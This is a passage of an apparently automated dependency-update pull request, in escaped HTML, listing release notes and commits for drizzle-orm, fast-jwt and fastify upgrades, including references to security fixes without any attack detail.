href=\"https://github.com/drizzle-team/drizzle-orm/commit/4aa6ecfee4b4728dadf6f77f071a149878a3c6c0\"\u003e\u003ccode\u003e4aa6ecf\u003c/code\u003e\u003c/a\u003e Kit updates (\u003ca href=\"https://redirect.github.com/drizzle-team/drizzle-orm/issues/5490\"\u003e#5490\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/drizzle-team/drizzle-orm/commit/e8e6edfef5ca69c6188d320388ad440265911057\"\u003e\u003ccode\u003ee8e6edf\u003c/code\u003e\u003c/a\u003e feat(drizzle-kit): support d1 via binding (\u003ca href=\"https://redirect.github.com/drizzle-team/drizzle-orm/issues/5302\"\u003e#5302\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/drizzle-team/drizzle-orm/commit/a086f59fba7f46f3a077893ba912c99e91eaa760\"\u003e\u003ccode\u003ea086f59\u003c/code\u003e\u003c/a\u003e Fixed pg-native Pool detection in node-postgres transactions breaking in envi...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/drizzle-team/drizzle-orm/commit/c445637df39366bcf47b12601896ce851771c1c2\"\u003e\u003ccode\u003ec445637\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/drizzle-team/drizzle-orm/issues/5095\"\u003e#5095\u003c/a\u003e from drizzle-team/main-workflows\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/drizzle-team/drizzle-orm/commit/e7b3aaa26456b88cd23a7843ebc95b3bddde1ba4\"\u003e\u003ccode\u003ee7b3aaa\u003c/code\u003e\u003c/a\u003e Merge branch 'main' into main-workflows\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/drizzle-team/drizzle-orm/commit/0d885a54ddafd8717f8610cf3d2899f3eef61e65\"\u003e\u003ccode\u003e0d885a5\u003c/code\u003e\u003c/a\u003e refactor: Update condition for run-feature job to improve clarity and functio...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/drizzle-team/drizzle-orm/commit/45a1ffbcbfdd96772d0aba7d9e43744db2dce471\"\u003e\u003ccode\u003e45a1ffb\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/drizzle-team/drizzle-orm/issues/5087\"\u003e#5087\u003c/a\u003e from drizzle-team/main-workflows\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/drizzle-team/drizzle-orm/commit/6357645bd33b1f444e1d081769dd4b71c3de31f8\"\u003e\u003ccode\u003e6357645\u003c/code\u003e\u003c/a\u003e chore: Comment out NEON_HTTP_CONNECTION_STRING requirement in release workflows\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/drizzle-team/drizzle-orm/commit/53dec98a936f549d0cc2e668f19db3a2df842f51\"\u003e\u003ccode\u003e53dec98\u003c/code\u003e\u003c/a\u003e refactor: Simplify release router workflow by removing unnecessary switch job...\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/drizzle-team/drizzle-orm/compare/0.38.3...0.45.2\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by [GitHub Actions](\u003ca href=\"https://www.npmjs.com/~GitHub\"\u003ehttps://www.npmjs.com/~GitHub\u003c/a\u003e Actions), a new releaser for drizzle-orm since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `fast-jwt` from 2.2.2 to 6.2.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nearform/fast-jwt/releases\"\u003efast-jwt's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev6.2.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003echore(deps-dev): bump \u003ccode\u003e@​types/node\u003c/code\u003e from 24.10.4 to 25.0.2 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/575\"\u003enearform/fast-jwt#575\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: complete patch for GHSA-mvf2-f6gm-w987 and \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/586\"\u003e#586\u003c/a\u003e by \u003ca href=\"https://github.com/dcs-soni\"\u003e\u003ccode\u003e@​dcs-soni\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/598\"\u003enearform/fast-jwt#598\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix acceptance of unknown crit headers and comply with RFC 7515 by \u003ca href=\"https://github.com/antoatta85\"\u003e\u003ccode\u003e@​antoatta85\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/591\"\u003enearform/fast-jwt#591\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: cache confusion risk with composite-key approach by \u003ca href=\"https://github.com/antoatta85\"\u003e\u003ccode\u003e@​antoatta85\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/587\"\u003enearform/fast-jwt#587\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/dcs-soni\"\u003e\u003ccode\u003e@​dcs-soni\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/598\"\u003enearform/fast-jwt#598\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/antoatta85\"\u003e\u003ccode\u003e@​antoatta85\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/591\"\u003enearform/fast-jwt#591\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.1.0...v6.2.0\"\u003ehttps://github.com/nearform/fast-jwt/compare/v6.1.0...v6.2.0\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev6.1.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[OPTIC-RELEASE-AUTOMATION] release/v6.0.2 by \u003ca href=\"https://github.com/optic-release-automation\"\u003e\u003ccode\u003e@​optic-release-automation\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/564\"\u003enearform/fast-jwt#564\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps-dev): bump \u003ccode\u003e@​types/node\u003c/code\u003e from 22.15.32 to 24.0.3 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/565\"\u003enearform/fast-jwt#565\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps-dev): bump tsd from 0.32.0 to 0.33.0 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/567\"\u003enearform/fast-jwt#567\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: import crypto once by \u003ca href=\"https://github.com/ilteoood\"\u003e\u003ccode\u003e@​ilteoood\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/568\"\u003enearform/fast-jwt#568\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: migrate to OIDC publishing for npm releases by \u003ca href=\"https://github.com/zibs\"\u003e\u003ccode\u003e@​zibs\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/569\"\u003enearform/fast-jwt#569\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: expose TOKEN_ERROR_CODES and derive duplicated error code types from it by \u003ca href=\"https://github.com/wopian\"\u003e\u003ccode\u003e@​wopian\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/573\"\u003enearform/fast-jwt#573\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/zibs\"\u003e\u003ccode\u003e@​zibs\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/569\"\u003enearform/fast-jwt#569\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/wopian\"\u003e\u003ccode\u003e@​wopian\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/573\"\u003enearform/fast-jwt#573\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.0.2...v6.1.0\"\u003ehttps://github.com/nearform/fast-jwt/compare/v6.0.2...v6.1.0\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev6.0.2\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[OPTIC-RELEASE-AUTOMATION] release/v6.0.1 by \u003ca href=\"https://github.com/optic-release-automation\"\u003e\u003ccode\u003e@​optic-release-automation\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/557\"\u003enearform/fast-jwt#557\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps-dev): bump tsd from 0.31.2 to 0.32.0 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/558\"\u003enearform/fast-jwt#558\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: Add error handling section with examples by \u003ca href=\"https://github.com/simoneb\"\u003e\u003ccode\u003e@​simoneb\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/561\"\u003enearform/fast-jwt#561\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix: error constructor in declaration file by \u003ca href=\"https://github.com/atlowChemi\"\u003e\u003ccode\u003e@​atlowChemi\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/562\"\u003enearform/fast-jwt#562\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/atlowChemi\"\u003e\u003ccode\u003e@​atlowChemi\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/562\"\u003enearform/fast-jwt#562\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.0.1...v6.0.2\"\u003ehttps://github.com/nearform/fast-jwt/compare/v6.0.1...v6.0.2\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev6.0.1\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[OPTIC-RELEASE-AUTOMATION] release/v6.0.0 by \u003ca href=\"https://github.com/optic-release-automation\"\u003e\u003ccode\u003e@​optic-release-automation\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/554\"\u003enearform/fast-jwt#554\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeature: support negative expiresIn when signing tokens by \u003ca href=\"https://github.com/agubler\"\u003e\u003ccode\u003e@​agubler\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/556\"\u003enearform/fast-jwt#556\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.0.0...v6.0.1\"\u003ehttps://github.com/nearform/fast-jwt/compare/v6.0.0...v6.0.1\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev6.0.0\u003c/h2\u003e\n\u003ch2\u003eBREAKING CHANGES\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/e07b1fd23f02a47f1be677a21a4f07607b478e66\"\u003e\u003ccode\u003ee07b1fd\u003c/code\u003e\u003c/a\u003e Release v6.2.0 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/599\"\u003e#599\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/de121056c6415b58770c60640881eaec67ac4ceb\"\u003e\u003ccode\u003ede12105\u003c/code\u003e\u003c/a\u003e fix: cache confusion risk with composite-key approach (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/587\"\u003e#587\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/80b49c73cf708701e1e3da7c16ef735789cb269c\"\u003e\u003ccode\u003e80b49c7\u003c/code\u003e\u003c/a\u003e fix acceptance of unknown crit headers and comply with RFC 7515 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/591\"\u003e#591\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/597c4b6e6af3bd823f624debdaa7f57fa92b1e2d\"\u003e\u003ccode\u003e597c4b6\u003c/code\u003e\u003c/a\u003e fix: complete patch for GHSA-mvf2-f6gm-w987 and \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/586\"\u003e#586\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/598\"\u003e#598\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/0ff14a687b9af786bd3ffa870d6febe6e1f13aaa\"\u003e\u003ccode\u003e0ff14a6\u003c/code\u003e\u003c/a\u003e chore(deps-dev): bump \u003ccode\u003e@​types/node\u003c/code\u003e from 24.10.4 to 25.0.2 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/575\"\u003e#575\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/986a77a7d59964ad6eebe9de5681d9134cc435b4\"\u003e\u003ccode\u003e986a77a\u003c/code\u003e\u003c/a\u003e Release v6.1.0 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/574\"\u003e#574\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/e8429c6e66597d471f05894e447862210d2f3129\"\u003e\u003ccode\u003ee8429c6\u003c/code\u003e\u003c/a\u003e feat: expose TOKEN_ERROR_CODES and derive duplicated error code types from it...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/ad60c8353b1e9bbdcf79dd158a3636dc4dd73269\"\u003e\u003ccode\u003ead60c83\u003c/code\u003e\u003c/a\u003e chore: migrate to OIDC publishing for npm releases (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/569\"\u003e#569\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/4699c54de3820bb0e3d0622d3838d4e8ec98839a\"\u003e\u003ccode\u003e4699c54\u003c/code\u003e\u003c/a\u003e chore: import crypto once (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/568\"\u003e#568\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/b9c7bc3cfb54a007476f365b6250c20efb566231\"\u003e\u003ccode\u003eb9c7bc3\u003c/code\u003e\u003c/a\u003e chore(deps-dev): bump tsd from 0.32.0 to 0.33.0 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/567\"\u003e#567\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v2.2.2...v6.2.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by [GitHub Actions](\u003ca href=\"https://www.npmjs.com/~GitHub\"\u003ehttps://www.npmjs.com/~GitHub\u003c/a\u003e Actions), a new releaser for fast-jwt since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `fastify` from 4.23.2 to 5.8.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/fastify/fastify/releases\"\u003efastify's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev5.8.3\u003c/h2\u003e\n\u003ch2\u003e⚠️ Security Release\u003c/h2\u003e\n\u003cp\u003eThis fixes CVE CVE-2026-3635 \u003ca href=\"https://github.com/fastify/fastify/security/advisories/GHSA-444r-cwp2-x5xf\"\u003ehttps://github.com/fastify/fastify/security/advisories/GHSA-444r-cwp2-x5xf\u003c/a\u003e.\u003c/p\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003edocs(readme): add \u003ca href=\"https://github.com/Tony133\"\u003e\u003ccode\u003e@​Tony133\u003c/code\u003e\u003c/a\u003e to plugin team by \u003ca href=\"https://github.com/Tony133\"\u003e\u003ccode\u003e@​Tony133\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6565\"\u003efastify/fastify#6565\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eUpdated Plugins-Guide.md; Changed \u0026quot;fastify\u0026quot; to \u0026quot;instance\u0026quot; during plugin registration to showcase that it's added as a child by \u003ca href=\"https://github.com/kyrylchenko\"\u003e\u003ccode\u003e@​kyrylchenko\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6566\"\u003efastify/fastify#6566\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003etest: use fastify.test in test case by \u003ca href=\"https://github.com/climba03003\"\u003e\u003ccode\u003e@​climba03003\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6568\"\u003efastify/fastify#6568\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: use fastify.example in documentation by \u003ca href=\"https://github.com/climba03003\"\u003e\u003ccode\u003e@​climba03003\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6567\"\u003efastify/fastify#6567\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: add common performance degradation guidance by \u003ca href=\"https://github.com/maxpetrusenko\"\u003e\u003ccode\u003e@​maxpetrusenko\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6520\"\u003efastify/fastify#6520\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs(server): fix camelCase anchor links in TOC by \u003ca href=\"https://github.com/Deepvamja\"\u003e\u003ccode\u003e@​Deepvamja\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6530\"\u003efastify/fastify#6530\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci(link-checker): fix root-relative links resolution by \u003ca href=\"https://github.com/barba-rossa\"\u003e\u003ccode\u003e@​barba-rossa\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6535\"\u003efastify/fastify#6535\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: update syntax markdown, absolute paths and links by \u003ca href=\"https://github.com/Tony133\"\u003e\u003ccode\u003e@​Tony133\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6569\"\u003efastify/fastify#6569\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: clarify content-type parser/schema mismatch is outside threat model by \u003ca href=\"https://github.com/mcollina\"\u003e\u003ccode\u003e@​mcollina\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6537\"\u003efastify/fastify#6537\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: fix incorrect code examples in Reply and Request reference by \u003ca href=\"https://github.com/mahmoodhamdi\"\u003e\u003ccode\u003e@​mahmoodhamdi\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6582\"\u003efastify/fastify#6582\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: replace redirected npm.im http-errors link by \u003ca href=\"https://github.com/mcollina\"\u003e\u003ccode\u003e@​mcollina\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6588\"\u003efastify/fastify#6588\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003etypes: Allow port to be null in request type definition by \u003ca href=\"https://github.com/TristanBarlow\"\u003e\u003ccode\u003e@​TristanBarlow\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6589\"\u003efastify/fastify#6589\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: update links by \u003ca href=\"https://github.com/Tony133\"\u003e\u003ccode\u003e@​Tony133\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6593\"\u003efastify/fastify#6593\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci(lock-threads): use shared lock-threads workflow by \u003ca href=\"https://github.com/Fdawgs\"\u003e\u003ccode\u003e@​Fdawgs\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6592\"\u003efastify/fastify#6592\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kyrylchenko\"\u003e\u003ccode\u003e@​kyrylchenko\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6566\"\u003efastify/fastify#6566\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/maxpetrusenko\"\u003e\u003ccode\u003e@​maxpetrusenko\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6520\"\u003efastify/fastify#6520\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Deepvamja\"\u003e\u003ccode\u003e@​Deepvamja\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6530\"\u003efastify/fastify#6530\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/barba-rossa\"\u003e\u003ccode\u003e@​barba-rossa\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6535\"\u003efastify/fastify#6535\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mahmoodhamdi\"\u003e\u003ccode\u003e@​mahmoodhamdi\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6582\"\u003efastify/fastify#6582\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TristanBarlow\"\u003e\u003ccode\u003e@​TristanBarlow\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6589\"\u003efastify/fastify#6589\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/fastify/fastify/compare/v5.8.2...v5.8.3\"\u003ehttps://github.com/fastify/fastify/compare/v5.8.2...v5.8.3\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev5.8.2\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003edocs(ecosystem): add \u003ccode\u003e@​yeliex/fastify-problem-details\u003c/code\u003e by \u003ca href=\"https://github.com/yeliex\"\u003e\u003ccode\u003e@​yeliex\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6546\"\u003efastify/fastify#6546\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRevert \u0026quot;chore: upgrade borp to v1.0.0\u0026quot; by \u003ca href=\"https://github.com/climba03003\"\u003e\u003ccode\u003e@​climba03003\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6564\"\u003efastify/fastify#6564\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: document body validation with custom content type parsers by \u003ca href=\"https://github.com/mcollina\"\u003e\u003ccode\u003e@​mcollina\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6556\"\u003efastify/fastify#6556\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs(ecosystem): add fastify-file-router by \u003ca href=\"https://github.com/bhouston\"\u003e\u003ccode\u003e@​bhouston\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6441\"\u003efastify/fastify#6441\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: add fastify-svelte-view to Ecosystem list by \u003ca href=\"https://github.com/matths\"\u003e\u003ccode\u003e@​matths\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6453\"\u003efastify/fastify#6453\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: anchor keyValuePairsReg to prevent quadratic backtracking by \u003ca href=\"https://github.com/mcollina\"\u003e\u003ccode\u003e@​mcollina\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6558\"\u003efastify/fastify#6558\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: added note on handling of invalid URLs in setNotFoundHandler by \u003ca href=\"https://github.com/leftieFriele\"\u003e\u003ccode\u003e@​leftieFriele\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/5661\"\u003efastify/fastify#5661\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs(guides): update codemod links by \u003ca href=\"https://github.com/OluchiEzeifedikwa\"\u003e\u003ccode\u003e@​OluchiEzeifedikwa\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6479\"\u003efastify/fastify#6479\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: add \u003ccode\u003e@​glidemq/fastify\u003c/code\u003e to community plugins by \u003ca href=\"https://github.com/avifenesh\"\u003e\u003ccode\u003e@​avifenesh\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6560\"\u003efastify/fastify#6560\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/yeliex\"\u003e\u003ccode\u003e@​yeliex\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6546\"\u003efastify/fastify#6546\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/matths\"\u003e\u003ccode\u003e@​matths\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6453\"\u003efastify/fastify#6453\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/leftieFriele\"\u003e\u003ccode\u003e@​leftieFriele\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca 